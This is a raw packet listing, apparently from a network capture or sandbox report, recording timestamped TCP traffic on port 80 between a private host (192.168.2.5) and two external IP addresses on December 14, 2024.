Dec 14, 2024 14:56:28.467175961 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.467246056 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.470733881 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.470838070 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.470841885 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.474425077 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.474586010 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.474706888 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.478095055 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.478348017 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.478493929 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.481787920 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.481981039 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.482242107 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.485476971 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.485647917 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.485709906 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.489130974 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.489365101 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.489465952 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.492316961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.492578983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.492782116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.492918015 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.492960930 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.492970943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.492980957 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.493005991 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.493029118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.493720055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.493766069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.493829966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.493872881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.494846106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.494894981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.494911909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.494962931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.495438099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.495598078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.495647907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.496484995 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.496578932 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.496584892 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.496594906 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.496645927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.496649027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.496691942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.497687101 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.497733116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.497812986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.497858047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.498800039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.498846054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.498887062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.498935938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.499943972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.499982119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.500036001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.500175953 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.500310898 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.500590086 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.501022100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.501157999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.501200914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.502149105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.502196074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.502235889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.502281904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.503345013 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.503451109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.503499985 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.503834009 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.503950119 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.504035950 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.504417896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.504465103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.504508972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.505501032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.505547047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.505610943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.505656004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.506618977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.506664991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.506702900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.507529020 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.507580042 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.507581949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.507608891 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.507698059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.507750988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.507817984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.507863045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.508837938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.508884907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.508960009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.509002924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.509960890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.510005951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.510067940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.510113001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.511044979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.511090040 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.511167049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.511260986 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.511271954 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.511308908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.511362076 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.512145996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.512270927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.512312889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.513314009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.513362885 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.513428926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.513475895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.514381886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.514426947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.514517069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.514563084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.514831066 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.514957905 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.515201092 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.515516996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.515562057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.515654087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.515697956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.516633034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.516720057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.516736984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.516781092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.517798901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.517844915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.517904997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.517947912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.518552065 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.518600941 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.518627882 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.518836975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.518942118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.518987894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.519947052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.519994020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.520060062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.520473957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.521073103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.521117926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.521173954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.521217108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.522167921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.522211075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.522212982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.522221088 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.522253036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.522329092 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.522536039 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.523335934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.523452997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.523494005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.524413109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.524460077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.524554014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.524600029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.525510073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.525552988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.525626898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.525671005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.525857925 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.525932074 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.525994062 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.526640892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.526878119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.526885986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.526923895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.527806997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.527858019 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.527940035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.527985096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.528836012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.528882027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.529015064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.529058933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.529567957 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.529633999 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.529716015 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.529958010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.530044079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.530090094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.531292915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.531403065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.531457901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.532269001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.532322884 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.532413006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.532505035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.533271074 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.533328056 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.533380032 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.533416033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.533451080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.533500910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.534459114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.534513950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.534574986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.534626007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.535593987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.535811901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.535876036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.536731005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.536782980 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.536855936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.536911011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.536962986 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.537015915 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.537029982 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.537811995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.537955046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.538008928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.538950920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.539004087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.539057970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.539108992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.540039062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.540179968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.540235996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.540664911 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.540786028 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.540934086 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.541212082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.541317940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.541373014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.542296886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.542351007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.542433977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.542484999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.543498993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.543639898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.543697119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.544342995 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.544439077 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.544511080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.544522047 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.544548988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.544603109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.545617104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.545669079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.545734882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.545783997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.546717882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.546772003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.546844006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.546895027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.547837973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.547977924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.548029900 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.548033953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.548063040 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.548132896 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.548965931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.549063921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.549115896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.550049067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.550101042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.550131083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.550179005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.551676989 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.551806927 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.552200079 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.555385113 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.555634022 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.555702925 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.559160948 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.559195042 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.559254885 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.562751055 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.562856913 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.563273907 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.566373110 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.566521883 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.628663063 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.628695965 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.628787041 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.629622936 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.629750013 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.632618904 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.632702112 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.632843018 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.633423090 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.635875940 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.636039019 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.636100054 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.639007092 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.639090061 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.639293909 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.642117023 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.642172098 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.642246962 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.645047903 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.645150900 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.645313025 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.647938967 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.648070097 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.648200989 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.650840998 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.651024103 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.652640104 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.653698921 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.653821945 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.656460047 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.656531096 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.656610012 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.658035994 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.659161091 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.659306049 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.659372091 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.661885977 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.661997080 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.662111998 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.664499998 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.664634943 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.666455030 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.667093992 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.667220116 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.667335033 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.669682026 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.669807911 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.669959068 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.672208071 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.672332048 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.672390938 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.674736023 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.674854994 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.674920082 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.677253962 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.677388906 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.677536011 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.679608107 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.679744959 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.679801941 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.682034969 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.682163954 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.682210922 CET	49879	80	192.168.2.5	185.81.68.147
